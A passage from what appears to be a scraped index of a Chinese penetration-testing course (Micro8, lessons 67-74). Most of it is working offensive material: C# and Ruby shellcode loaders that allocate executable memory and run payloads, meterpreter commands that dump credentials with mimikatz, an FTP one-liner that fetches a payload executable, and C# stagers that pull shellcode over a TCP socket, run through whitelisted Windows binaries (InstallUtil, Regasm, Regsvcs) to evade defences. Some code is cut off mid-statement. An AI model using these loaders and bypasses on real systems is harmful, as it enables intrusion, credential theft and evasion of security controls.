0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34, 0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44, 0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65, 0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6, 0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8, 0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f, 0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a, 0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67, 0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09, 0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d, 0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc, 0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70, 0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e, 0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 }; IntPtr handle = IntPtr.Zero; handle = VirtualAlloc( IntPtr.Zero, codeBytes.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); try { Marshal.Copy(codeBytes, 0, handle, codeBytes.Length); MsfpayloadProc msfpayload = Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as MsfpayloadProc; msfpayload(); } finally { VirtualFree(handle, 0, MEM_RELEASE); } } [DllImport(\"Kernel32.dll\", EntryPoint = \"VirtualAlloc\")] public static extern IntPtr VirtualAlloc(IntPtr address, int size, ui ntallocType, uint protect); [DllImport(\"Kernel32.dll\", EntryPoint = \"VirtualFree\")] public static extern bool VirtualFree(IntPtr address, int size, uint freeType); const uint MEM_COMMIT = 0x1000; const uint MEM_RESERVE = 0x2000; const uint PAGE_EXECUTE_READWRITE = 0x40; const uint MEM_RELEASE = 0x8000; Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/61-70/67_meterpreter下的irb操作第一季.html":{"url":"Chapter1/61-70/67_meterpreter下的irb操作第一季.html","title":"第六十七课:meterpreter下的irb操作第一季","keywords":"","body":"Railgun是Meterpreter stdapi的扩展,允许任意加载DLL。Railgun的最大好处是能够动态访问系统上的整个Windows API。通过从用户进程调用Windows API。 meterpreter下执行irb进入ruby交互。 基本的信息搜集: >> client.sys.config.sysinfo['OS'] => \"Windows .NET Server (Build 3790, Service Pack 2).\" >> client.sys.config.getuid => \"WIN03X64\\\\Administrator\" >> interfaces = client.net.config.interfaces =>[#, #] >> interfaces.each do |i| ?> puts i.pretty >> end Interface 65539 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:85:d6:7d MTU : 1500 IPv4 Address : 192.168.1.119 IPv4 Netmask : 255.255.255.0 Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 =>[#, #] >> 锁定注销目标机: >> client.railgun.user32.LockWorkStation() => {\"GetLastError\"=>0, \"ErrorMessage\"=>\"\\xB2\\xD9\\xD7\\xF7\\xB3\\xC9\\xB9\\xA6\\xCD\\xEA\\xB3\\xC9\\xA1\\xA3\", \"return\"=>true} >> 调用MessageBox: >> client.railgun.user32.MessageBoxA(0, \"Micropoor\", \"Micropoor\", \"MB_OK\") 快速获取当前绝对路径: >> client.fs.dir.pwd => \"C:\\\\Documents and Settings\\\\Administrator\\\\\\xE6\\xA1\\x8C\\xE9\\x9D\\xA 2\" 目录相关操作: >> client.fs.dir.chdir(\"c:\\\\\") => 0 >> client.fs.dir.entries => [\"ADFS\", \"AUTOEXEC.BAT\", \"boot.ini\", \"bootfont.bin\", \"CONFIG.SYS\", \"Documents and Settings\", \"Inetpub\", \"IO.SYS\", \"MSDOS.SYS\", \"NTDETECT.CO M\", \"ntldr\", \"pagefile.sys\", \"Program Files\", \"Program Files (x86)\", \"RECYCLER\", \"System Volume Information\", \"WINDOWS\", \"wmpub\"] 建立文件夹: >> client.fs.dir.mkdir(\"Micropoor\") => 0 hash操作: >> client.core.use \"mimikatz\" => true >> client.mimikatz => #, @name=\"mimikatz\"> >> client.mimikatz.kerberos =>[{:authid=>\"0;996\", :package=>\"Negotiate\", :user=>\"NETWORKSERVICE\", :domain=>\"NT AUTHORITY\", :password=>\"mod_process::getVeryBasicModulesListForProcess : (0x0000012b) \\xC5\\x8C\\x10\\xE8\\x06\\x84 ReadProcessMemory \\x16 WriteProcessMemory \\xF7B\\x02 \\nn.a. (kerberos KO)\"},{:authid=>\"0;44482\", :package=>\"NTLM\", :user=>\"\", :domain=>\"\",:password=>\"mod_process::getVeryBasicModulesListForProcess : (0x0000012b) \\xC5\\x8C\\x10\\xE8\\x06\\x84 ReadProcessMemory \\x16 WriteProcessMemory \\xF7B \\x02 \\nn.a. (kerberos KO)\"}, {:authid=>\"0;115231\",:package=\\>\"NTLM\", :user=>\"Administrator\", :domain=>\"WIN03X64\",:password=>\"mod_process::getVery BasicModulesListForProcess : (0x0000012b) \\xC5\\x8C\\x10\\xE8\\x06\\x84 ReadPocessMemory \\x16 WriteProcessMemory \\xF7B\\x02 \\nn.a. (kerberos KO)\"}, {:a uthid=>\"0;997\",:package=>\"Negotiate\", :user=>\"LOCAL SERVICE\", :domain=>\"NT AUTHORITY\",:password=>\"mod_process::getVeryBasicModulesList ForProcess : (0x0000012b) \\xC5\\x8C\\x10\\xE8\\x06\\x84 ReadProcessMemory \\x16 WriteProcessMemory \\xF7B\\x02 \\nn.a. (kerberos KO)\"}, {:authid=>\"0;999\", package=>\"NTLM\", :user=>\"WIN03X64$\", :domain=>\"WORKGROUP\", :password=>\"mod_process::getVeryBasicModulesListForProcess : (0x0000012b) \\xC5\\x8C\\x10\\xE8\\x06\\x84 ReadProcessMemory \\x16 WriteProcessMemory \\xF7B\\x02 \\nn.a. (kerberos KO)\"}] 内网主机发现,如路由,arp等: >> client.net.config.arp_table => [#, #] >> client.net.config.arp_table[0].ip_addr >> => \"192.168.1.1\" >> client.net.config.arp_table[0].mac_addr => \"78:44:fd:8e:91:59\" >> client.net.config.arp_table[0].interface => \"65539\" >> client.net.config.routes => [#,#, #, #,#, #,#] 实战中的敏感文件操作,也是目前最稳定,速度最快的方式: >> client.fs.file.search(\"C:\\\\\", \"*.txt\") 更多的敏感文件操作,后续补充。 更多相关的api操作在未来的课时中介绍。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/68_基于Ruby内存加载shellcode第一季.html":{"url":"Chapter1/61-70/68_基于Ruby内存加载shellcode第一季.html","title":"第六十八课:基于Ruby内存加载shellcode第一季","keywords":"","body":"本季是为配合msf在渗透过程中无文件渗透,提前做基础过度。也为msf插件编写做基础过度。 ruby shellcode 生成如下: msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest 附源码: require 'fiddle' require 'fiddle/import' require 'fiddle/types' # msfvenom ‐p windows/messagebox TEXT=Micropoor TITLE=Micropoor ‐f ruby ‐‐smallest shellcode = \"\\\\xd9\\\\xeb\\\\x9b\\\\xd9\\\\x74\\\\x24\\\\xf4\\\\x31\\\\xd2\\\\xb2\\\\x77\\\\x31\\\\xc9\\\\x64\" + \"\\\\x8b\\\\x71\\\\x30\\\\x8b\\\\x76\\\\x0c\\\\x8b\\\\x76\\\\x1c\\\\x8b\\\\x46\\\\x08\\\\x8b\\\\x7e\" + \"\\\\x20\\\\x8b\\\\x36\\\\x38\\\\x4f\\\\x18\\\\x75\\\\xf3\\\\x59\\\\x01\\\\xd1\\\\xff\\\\xe1\\\\x60\" + \"\\\\x8b\\\\x6c\\\\x24\\\\x24\\\\x8b\\\\x45\\\\x3c\\\\x8b\\\\x54\\\\x28\\\\x78\\\\x01\\\\xea\\\\x8b\" \"\\\\x4a\\\\x18\\\\x8b\\\\x5a\\\\x20\\\\x01\\\\xeb\\\\xe3\\\\x34\\\\x49\\\\x8b\\\\x34\\\\x8b\\\\x01\" \"\\\\xee\\\\x31\\\\xff\\\\x31\\\\xc0\\\\xfc\\\\xac\\\\x84\\\\xc0\\\\x74\\\\x07\\\\xc1\\\\xcf\\\\x0d\" \"\\\\x01\\\\xc7\\\\xeb\\\\xf4\\\\x3b\\\\x7c\\\\x24\\\\x28\\\\x75\\\\xe1\\\\x8b\\\\x5a\\\\x24\\\\x01\" \"\\\\xeb\\\\x66\\\\x8b\\\\x0c\\\\x4b\\\\x8b\\\\x5a\\\\x1c\\\\x01\\\\xeb\\\\x8b\\\\x04\\\\x8b\\\\x01\" \"\\\\xe8\\\\x89\\\\x44\\\\x24\\\\x1c\\\\x61\\\\xc3\\\\xb2\\\\x08\\\\x29\\\\xd4\\\\x89\\\\xe5\\\\x89\" \"\\\\xc2\\\\x68\\\\x8e\\\\x4e\\\\x0e\\\\xec\\\\x52\\\\xe8\\\\x9f\\\\xff\\\\xff\\\\xff\\\\x89\\\\x45\" \"\\\\x04\\\\xbb\\\\x7e\\\\xd8\\\\xe2\\\\x73\\\\x87\\\\x1c\\\\x24\\\\x52\\\\xe8\\\\x8e\\\\xff\\\\xff\" \"\\\\xff\\\\x89\\\\x45\\\\x08\\\\x68\\\\x6c\\\\x6c\\\\x20\\\\x41\\\\x68\\\\x33\\\\x32\\\\x2e\\\\x64\" \"\\\\x68\\\\x75\\\\x73\\\\x65\\\\x72\\\\x30\\\\xdb\\\\x88\\\\x5c\\\\x24\\\\x0a\\\\x89\\\\xe6\\\\x56\" \"\\\\xff\\\\x55\\\\x04\\\\x89\\\\xc2\\\\x50\\\\xbb\\\\xa8\\\\xa2\\\\x4d\\\\xbc\\\\x87\\\\x1c\\\\x24\" \"\\\\x52\\\\xe8\\\\x5f\\\\xff\\\\xff\\\\xff\\\\x68\\\\x72\\\\x58\\\\x20\\\\x20\\\\x68\\\\x6f\\\\x70\" \"\\\\x6f\\\\x6f\\\\x68\\\\x4d\\\\x69\\\\x63\\\\x72\\\\x31\\\\xdb\\\\x88\\\\x5c\\\\x24\\\\x09\\\\x89\" \"\\\\xe3\\\\x68\\\\x72\\\\x58\\\\x20\\\\x20\\\\x68\\\\x6f\\\\x70\\\\x6f\\\\x6f\\\\x68\\\\x4d\\\\x69\" \"\\\\x63\\\\x72\\\\x31\\\\xc9\\\\x88\\\\x4c\\\\x24\\\\x09\\\\x89\\\\xe1\\\\x31\\\\xd2\\\\x52\\\\x53\" \"\\\\x51\\\\x52\\\\xff\\\\xd0\\\\x31\\\\xc0\\\\x50\\\\xff\\\\x55\\\\x08\" include Fiddle kernel32 = Fiddle.dlopen('kernel32') ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40) Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0) buf = Fiddle::Pointer[shellcode] Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size) thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0) Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1) Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/69_渗透-持续渗透-后渗透的本质.html":{"url":"Chapter1/61-70/69_渗透-持续渗透-后渗透的本质.html","title":"第六十九课:渗透,持续渗透,后渗透的本质","keywords":"","body":"引言(1): 目标资产信息搜集的广度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。 靶机背景介绍: 主机A1:CentOs x64 全补丁,无提权漏洞,可互联网 主机A2:Windows 2008 x64 全补丁 无提权漏洞,脱网机 主机B: Windows 2008 x64 全补丁 无提权漏洞,域内主机,脱网机 主机C: Windows 2008 x64 域控,存在ms14-068漏洞,脱网机 且A1,A2,B,C系统主机密码均为强口令 A1,A2,B,C为标准ABC类网,允许访问流程,A1---->A2---->B---->C,不允许跨主机访问。 (请注意每个主机的对应IP段) 整体攻击流程图: 模拟开始攻击: 扫描主机A1对攻击机开放端口:80,22 扫描主机A1-Web目录结构: 主机A1-Web搜索处存在sql注入: 登录后台得到shell: 生成tcp payload 以php一句话执行: A1对内信息搜集发现A2,并且针对A1,没有可用提权漏洞(Web非root权限),放弃提权: 以A1作为跳板添加虚拟路由,并且开始做针对A2的对内信息搜集: 以A1跳板发现A2部署weblogic,并且存在漏洞。转发目标机7001至本地,利用漏洞。 发现A2全补丁,放弃提权,(weblogic为user权限)对内信息刺探A2,得到 weblogic相关配置文件,解密后,得到密码。 尝试做二级跳板,以weblogic相关配置,尝试对B(域内成员)的渗透(SMB) 获取B权限(system),尝试对内B的本身信息搜集,发现域账号(普通成员)user1. 引言(2): 渗透测试过程,提权是非核心任务,这里也不建议尝试提权,因为在实战过程中获取某个“点”的权限,过程是及其漫长以及困难的,不要因为某个大胆的尝试,而影响了整个渗透测试流程。 尝试三级跳板,尝试获取sid,以及域控对内相关IP,尝试越权,获取域控权限。 并没有结束: 在得到域控后,对主机C对内信息搜集,得到域控administrator密码,尝试用该密码 ssh--->A1,成功,root权限。 广告(你需要背下来的广告词):只要是“一个人”设置的密码“群”,一定有大的规律,只要是“一个行业”设置的密码“群”一定有规律可寻。 引言(4): 渗透的本质是信息搜集,而要把信息搜集发挥最大效果,一定是离不开“线索关联”,而信息搜集,无论是对内,对外,更或者是主动信息搜集,被动信息搜集。如何把目标A与B的信息搜集,整理后做“线索关联”是一个非常有趣的工作。 后者的话: APT攻击三大要素,既: 攻击手段复杂,持续时间长,高危害性 APT攻击主要分类为两大类,既: 高级持续渗透 , 即时渗透 APT两大类攻击核心诉求区别: 在做调研之前,作者一直以为越发达的城市,或者越政治中心的城市是发生攻击的高发地,但是在调研后,打破了我之前的想法,于是作者深入调研原因究竟,以便更好的了解企业安全建设的规划。 在针对政府机构的攻击中,APT组织除了会攻击一般的政府机构外,还有专门针对公检法的攻击。 在针对能源行业的攻击中,APT组织重点关注的领域依次是:石油、天然气和核能。针对能源行业的攻击,对国家安全具有很大的影响。 在针对金融行业的攻击中,APT组织最为关注的是银行,其次是证券、互联网金融等。还有部分APT组织会关注到与虚拟数字货币(如比特币、门罗币等)相关的机构或公司。针对金融机构的攻击大多会利用安全漏洞。针对ATM自动取款机的攻击也一直延续了2016年的活跃状态。 还有一点值得注意:APT组织的攻击虽然具有很强的针对性,但其攻击目标也并不一定是单一的。有的APT组织只攻击特定国家特定领域的目标(仅从目前已经披露的情况看),但也有很多APT组织会对多个国家的不同领域目标展开攻击。上图给出了2017年全球各国研究机构发布的APT研究报告中,披露APT组织攻击目标的所属国家、领域数量分析。 引言(5): 目前市场上的企业网络安全规划与建设大部分存在统一实施方案,或者是模板方案。而非针对特定行业,特定客户群体来制定针对方案。而不同行业,不同背景的企业安全规划方案也一定是不相同的。如传统行业(医药,食品,汽车)对待企业安全的建设是起跑阶段。如金融行业(证券,银行,保险)对待企业安全的建设是规划与实施阶段。如互联网行业(某度,某巴,某鹅)对待企业安全建设是自研或商业化阶段。为了更好的了解,所以如上制图,更能清楚的看到,未来企业网络安全对待企业发展的重要性,以及特定行业特定规划方案,特定行业特定防御对象。如某X企业安全预算为100万,是否应该针对该企业,行业,地理位置,做防御预算倾斜,并且留有10%-15%的资金量做2月,3月,11月攻击高发期的预案资金等。 总结: 由于信息化,自动化的办公,企业成本的考虑,传统的“以点打面”的点会越来越分散与难以集中管理,如跨国办公,移动办公等。那么可预知的攻击方式将会以人为突破口的事越来越多。安全的本质又不能仅仅靠预算与设备的投入而杜绝,尤其是在未来的大型甲方公司,都会有着自己的安全团队,那么如何把网络安全发展成未来甲方公司的企业文化,将会是一个漫长的过程。而近些年无论是国内还是国外的官方部门开始重视网络安全,但是效果不明显,这里做一个总结,同样部分也适用于企业: Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/61-70/70_ftp一句话下载payload补充.html":{"url":"Chapter1/61-70/70_ftp一句话下载payload补充.html","title":"第七十课:ftp一句话下载payload补充","keywords":"","body":"windows 全平台自带ftp,在实战中需要考虑两点。 数据传输的完整性。 代码得精简 本季作为第四十课的补充,一句话下载更为精简。更符合于实战。 靶机:192.168.1.119 demo下载文件为:bin_tcp_x86_53.exe echo open 127.0.0.1 > o&echo user 123 123 >> o &echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o 缩短一句话下载: echo open 127.0.0.1 > o&echo get bin_tcp_x86_53.exe >> o &echo quit >> o &ftp ‐A ‐n ‐s:o &del /F /Q o Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/71-80.html":{"url":"Content/71-80.html","title":"71-80课","keywords":"","body":"第七十一课:基于白名单Msbuild.exe执行payload第一季 第七十二课:基于白名单Installutil.exe执行payload第二季 第七十三课:基于白名单Regasm.exe执行payload第三季 第七十四课:基于白名单Regsvcs.exe执行payload第四季 第七十五课:基于白名单Mshta.exe执行payload第五季 第七十六课:基于白名单Compiler.exe执行payload第六季 第七十七课:基于白名单Csc.exe执行payload第七季 第七十八课:基于白名单Msiexec执行payload第八季 第七十九课:基于白名单Regsvr32执行payload第九季 第八十课:基于白名单Wmic执行payload第十季 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/71-80/71_基于白名单Msbuild.exe执行payload第一季.html":{"url":"Chapter1/71-80/71_基于白名单Msbuild.exe执行payload第一季.html","title":"第七十一课:基于白名单Msbuild.exe执行payload第一季","keywords":"","body":"MSBuild简介: MSBuild 是 Microsoft Build Engine 的缩写,代表 Microsoft 和 Visual Studio的新的生成平台。MSBuild在如何处理和生成软件方面是完全透明的,使开发人员能够在未安装Visual Studio的生成实验室环境中组织和生成产品。 MSBuild 引入了一种新的基于 XML的项目文件格式,这种格式容易理解、易于扩展并且完全受 Microsoft 支持。MSBuild项目文件的格式使开发人员能够充分描述哪些项需要生成,以及如何利用不同的平台和配置生成这些项。 说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别。 基于白名单MSBuild.exe配置payload: Windows 7默认位置为: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe 攻击机:192.168.1.4 Debian靶机: 192.168.1.3 Windows 7 靶机执行: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe Micropoor.xml 配置攻击机msf: 附录:Micropoor.xml 注:x86 payload Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/71-80/72_基于白名单Installutil.exe执行payload第二季.html":{"url":"Chapter1/71-80/72_基于白名单Installutil.exe执行payload第二季.html","title":"第七十二课:基于白名单Installutil.exe执行payload第二季","keywords":"","body":"Installutil简介: Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。 具体参考:Windows Installer部署 https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120) 说明:Installutil.exe所在路径没有被系统添加PATH环境变量中,因此,Installutil命令无法识别。 基于白名单installutil.exe配置payload: Windows 7 默认位置: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.3 Windows 7 配置攻击机msf: 靶机执行: 靶机编译: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /keyfile:C:\\Users\\John\\Desktop\\installutil.snk /unsafe C:\\Users\\John\\Desktop\\installutil.cs payload:Micropoor.exe 靶机执行: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe 附录:Micropoor.cs 注:x64 payload using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.Configuration.Install; using System.Windows.Forms; public class GQLBigHgUniLuVx { public static void Main() { while(true) {{ MessageBox.Show(\"doge\"); Console.ReadLine();}} } } [System.ComponentModel.RunInstaller(true)] public class esxWUYUTWShqW : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu) { jkmhGrfzsKQeCG.LCIUtRN(); } } public class jkmhGrfzsKQeCG { [DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR, UInt32 NIHbxnOmrgiBGL, UInt32 KIheHEUxhAfOI); [DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 GDmElasSZbx, UInt32 rGECFEZG, UInt32 UyBSrAIp,IntPtr sPEeJlufmodo, UInt32 jmzHRQU, ref UInt32 SnpQPGMvDbMOGmn); [DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS, UInt32 eRLAWWYQnq); static byte[] ErlgHH(string ZwznjBJY, int KsMEeo) { IPEndPoint qAmSXHOKCbGlysd = new IPEndPoint(IPAddress.Parse(ZwznjBJY), KsMEeo); Socket XXxIoIXNCle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { XXxIoIXNCle.Connect(qAmSXHOKCbGlysd); } catch { return null;} byte[] UmquAHRnhhpuE = new byte[4]; XXxIoIXNCle.Receive(UmquAHRnhhpuE, 4, 0); int kFVRSNnpj = BitConverter.ToInt32(UmquAHRnhhpuE, 0); byte[] qaYyFq = new byte[kFVRSNnpj + 5]; int SRCDELibA = 0; while (SRCDELibA installutil.snk 596B Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/71-80/73_基于白名单Regasm.exe执行payload第三季.html":{"url":"Chapter1/71-80/73_基于白名单Regasm.exe执行payload第三季.html","title":"第七十三课:基于白名单Regasm.exe执行payload第三季","keywords":"","body":"Regasm简介: Regasm 为程序集注册工具,读取程序集中的元数据,并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。 说明:Regasm.exe所在路径没有被系统添加PATH环境变量中,因此,REGASM命令无法识别。 具体参考微软官方文档:https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool 基于白名单Regasm.exe配置payload: Windows 7 默认位置: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.3 Windows 7 配置攻击机msf: 靶机执行: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U Micropoor.dll 附录:Micropoor.cs 注:x86 payload using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms; namespace HYlDKsYF { public class kxKhdVzWQXolmmF : ServicedComponent { public kxKhdVzWQXolmmF() { Console.WriteLine(\"doge\"); } [ComRegisterFunction] public static void RegisterClass ( string pNNHrTZzW ) { ZApOAKJKY.QYJOTklTwn(); } [ComUnregisterFunction] public static void UnRegisterClass ( string pNNHrTZzW ) { ZApOAKJKY.QYJOTklTwn(); } } public class ZApOAKJKY { [DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW); [DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo); [DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo); [DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF, UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp); [DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy, int iJGvqiEDGLhjr) { IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr); Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); } catch { return null;} byte[] Bjpvhc = new byte[4]; MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0); int IETFBI = BitConverter.ToInt32(Bjpvhc, 0); byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5]; int JFPJLlk = 0; while (JFPJLlk Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/71-80/74_基于白名单regsvcs.exe执行payload第四季.html":{"url":"Chapter1/71-80/74_基于白名单regsvcs.exe执行payload第四季.html","title":"第七十四课:基于白名单Regsvcs.exe执行payload第四季 ","keywords":"","body":"Regsvcs简介: Regsvcs为.NET服务安装工具,主要提供三类服务: 加载并注册程序集。 生成、注册类型库并将其安装到指定的 COM+ 1.0 应用程序中。 配置以编程方式添加到类的服务。 说明:Regsvcs.exe所在路径没有被系统添加PATH环境变量中,因此,Regsvcs命令无法识别。 具体参考微软官方文档:https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool 基于白名单Regsvcs.exe配置payload: Windows 7 默认位置: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe 攻击机:192.168.1.4 Debian靶机:192.168.1.3 Windows 7 配置攻击机msf: 靶机执行: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe Micropoor.dll 附录:Micropoor.cs 注:x86 payload using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms; namespace phwUqeuTRSqn { public class mfBxqerbXgh : ServicedComponent { public mfBxqerbXgh() { Console.WriteLine(\"Micropoor\"); } [ComRegisterFunction] public static void RegisterClass ( string DssjWsFMnwwXL ) { uXsiCEXRzLNkI.BBNSohgZXGCaD(); } [ComUnregisterFunction] public static void UnRegisterClass ( string DssjWsFMnwwXL ) { uXsiCEXRzLNkI.BBNSohgZXGCaD(); } } public class uXsiCEXRzLNkI { [DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 pAyHWx, UInt32 KXNJUcPIUymFNbJ, UInt32 MotkftcMAIJRnW); [DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 yjmmncJHBrUu, UInt32 MYjktCDxYrlTs, UInt32 zyBAwQVBQbi); [DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 PorEiXBhZkA, byte[] UIkcqF, UInt32 wAXQEPCIVJQQb); [DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 WNvQyYv, UInt32 vePRog, UInt32 Bwxjth, IntPtr ExkSdsTdwD, UInt32 KfNaMFOJVTSxbrR, ref UInt32 QEuyYka); [DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr pzymHg, UInt32 lReJrqjtOqvkXk);static byte[] SVMBrK(string MKwSjIxqTxxEO, int jVaXWRxcmw) { IPEndPoint hqbNYMZQr = new IPEndPoint(IPAddress.Parse(MKwSjIxqTxxEO), jVaXWRxcmw); Socket LbLgipot = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); try { LbLgipot.Connect(hqbNYMZQr); } catch { return null;} byte[] VKQsLPgLmVdp = new byte[4]; LbLgipot.Receive(VKQsLPgLmVdp, 4, 0); int jbQtneZFbvzK = BitConverter.ToInt32(VKQsLPgLmVdp, 0); byte[] cyDiPLJhiAQbw = new byte[jbQtneZFbvzK + 5]; int vyPloXEDJoylLbj = 0; while (vyPloXEDJoylLbj Micropoor Copyright © 